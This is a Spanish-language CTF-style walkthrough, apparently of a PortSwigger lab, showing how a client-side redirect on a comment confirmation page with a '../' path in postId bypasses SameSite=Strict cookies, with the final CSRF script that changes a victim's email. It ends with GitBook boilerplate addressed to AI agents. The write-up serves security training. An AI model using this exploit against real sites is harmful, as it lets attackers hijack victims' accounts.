> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# Evasión de SameSite Strict mediante redirección del lado del cliente

### Evasión de SameSite Strict mediante redirección del lado del cliente

El formulario de cambio de correo electrónico del laboratorio es vulnerable a CSRF. El objetivo es cambiar la dirección de correo electrónico de la víctima alojando el exploit en el servidor de exploits proporcionado.

**Probar acceso**/ Cuenta utilizada en el laboratorio: `wiener:peter`

### Observaciones principales

1. La función de cambio de correo electrónico funciona mediante una solicitud GET de este tipo:

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="/files/0be4b56d7e2c52d662ce649cff00c9a6c0489afc" alt=""><figcaption></figcaption></figure>

Al enviar una redirección de JavaScript como esta:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* la página solicita autenticación si el usuario no ha iniciado sesión; la consulta no toma la cookie de sesión cuando proviene de otro sitio.

<figure><img src="/files/4df93210a0c00aeb6e4a0ececd48867c038323f8" alt="" width="563"><figcaption></figcaption></figure>

El `Set-Cookie` el encabezado contiene `SameSite=Strict`, lo que impide el envío de la cookie de sesión cuando la navegación se inicia desde otro contexto (cross-site), bloqueando normalmente los ataques clásicos de redirección.

<figure><img src="/files/3ecd74620aef7b6d20eda7864fca7752dad96d88" alt=""><figcaption></figcaption></figure>

### Área explotada (comentarios → Confirmación → Redirección)

1. Hay un área de comentarios que luego redirige a:

<figure><img src="/files/1d5a70122115c3cae1459be36c52fd3576aec189" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="/files/73eb8d44f6f702292264f49a359396f54d5627ca" alt=""><figcaption></figcaption></figure>

Un script en la página de confirmación extrae el `postId` parámetro y redirige después de 3 segundos a la publicación correspondiente:

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="/files/4f9e4b37ea152545c0c28bbf8b9858fe13415230" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="/files/96d8a99b2f91da511fb76455c384b195a86b32a1" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

Al observar este comportamiento, notamos que `postId` no está estrictamente obligado: si se cambia su valor (p. ej. `test`), la redirección es hacia `.../test` sin validación aparente.

#### Evadir SameSite Strict mediante una ruta manipulada

Idea: reemplazar la redirección a `blogPath + '/' + postId` por `postId` que contienen segmentos relativos `..` segmentos para llegar a una ruta del sitio objetivo (retroceso de directorio), por ejemplo:

`/post/comment/confirmation?postId=../my-account`

* la redirección entonces lleva a un directorio superior sin bloquear la cookie de sesión.

<figure><img src="/files/d01c5c8b7a9e0e27f9ba6dde63add33382e6aa74" alt="" width="563"><figcaption></figcaption></figure>

Al construir una ruta más específica `postId`, apuntamos directamente a la función de cambio del correo electrónico:

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

Redirección simple a la página de cambio de correo electrónico:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
